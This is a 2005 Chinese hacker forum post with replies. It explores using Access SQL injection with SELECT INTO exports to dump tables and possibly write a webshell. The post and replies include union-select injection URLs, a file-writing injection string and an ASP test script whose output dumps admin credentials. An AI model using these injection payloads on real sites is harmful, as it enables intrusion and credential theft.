今天上化學課睡覺的時候( 汗......)做夢,夢到自己滲透一台MAGIC=OFF的PHP注入點,然後開心的口水都流下來了(.....睡的太那個了),突然醒過來,馬上在紙上寫下做夢夢到的思路:利用ACCESS匯出WEBSHELL......難道不是很絕妙嗎?
於是晚上到網上查了查資料,發現有幾種匯出資料庫的研究
程式碼: |
SELECT * into [mytest.txt] IN 'd:/' 'text;' FROM mydata |
|
|匯出成TXT檔案.成功
程式碼: |
select * into [aaa] in 'd:/' 'dbase IV;' from mydata |
|
|匯出成DBF檔案,也成功.
但是就是無法匯出成ASP或者其他尾碼的檔案,的確有點怪異,個人認為是在'text;'和'dbase IV'這樣的類型中取選的。所以我在ODBC資料來源中查了查,好象也沒有自訂類型的,很鬱悶.....
沒什麼辦法,去問了一下SuperHei....他說他也沒研究過,嘿嘿,還是新思路啊..看來我要多研究一下.
.不久我在CHINAASPPRO查到了一篇文章裡面說可以這樣匯出資料庫,也就是BACKUP一部分資料,但是我在老兵的SQL資料庫管理員中執行出錯,不清楚原因.但是仔細看了一下是將C:/TEMP.MDB匯入Customers,也不算什麼匯出.哎.運氣不順..
程式碼: |
INSERT INTO Customers IN 'C:/TEMP.MDB' SELECT * FROM [New Customers] |
|
記得很早以前我看到過一篇文章就是有人將資料庫檔案導成任意檔案,如果這樣的話就能得到SHELL啦.但是我還是沒有成功,如果誰成功了加我QQ一下,我們一起討論.
9817500
其實如果可以的話裡喲還是簡單的,比如這樣一個注入點
http://www.www.com/a.asp?id=1
我們可以這樣改
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1
這樣就得到了said檔案的內容,然後我們可以這樣導:比如導成TXT檔案
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1 into [hackedbykevin.txt] IN 'E:/' 'text;' FROM users where id=1
這樣理論上就產生了e:/hackedbykevin.txt
但是我在測試的時候發生了很鬱悶的事情,我也不知道為什麼....
引用內容: |
Microsoft JET Database Engine 錯誤 '80004005' 巨集指令查詢不能作為行的來源。 /info/adm2.asp,行7 |
|
時間很晚了.我也沒研究下去....還是給大家研究了.駭客精神就是共用嘛.呵呵
sniper 於 2005-02-11 01:46 AM 發表評論:
union的時候在後面使用into是行不通滴,我以前測試過
kevin1986 於 2005-02-09 06:48 PM 發表評論:
Union的確是不行的。不過某次我在弄一個LeadBBS的時候用他裡面的執行SQL語句成了一次,但是也沒用到Union。晚上和你繼續討論吧。最近很想去弄弄asp+mysql的系統。。。發揮一下4ngel的東西。叫小A也來
superhei 於 2005-02-09 05:29 PM 發表評論:
xixi 上次沒時間去測試,今天測試了下
<%
Set Conn = Server.CreateObject("ADODB.Connection")
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;' FROM admin;"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
rs.close
set rs=nothing
'關閉串連
conn.close
set conn=nothing
response.write "sql為:" &sql
%>
這樣是可以成功的
C:/>dir mytest*.txt
磁碟機 C 中的卷是 AAAAAAA
卷的序號是 3CEE-A8A9
C:/ 的目錄
2005-02-09 17:27 46 mytest112.txt
1 個檔案 46 位元組
0 個目錄 885,846,016 可用位元組
C:/>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"
因為語句 SELECT * into [mytest112.txt] IN 'c:/' 'text;' FROM admin;因為 into [mytest112.txt] IN 'c:/' 'text;'的位置的原因 在注射中 沒辦法匯出本語句的查詢內容(select * from admin where id=$id)
如果用union的話 就會出現 上面你測試的那樣的錯誤 :( 不過即使可以用沒什麼大的意義 因為如果不可以匯出
asp等的話 只匯出資料也沒必要 因為union 可以直接替換出來 :)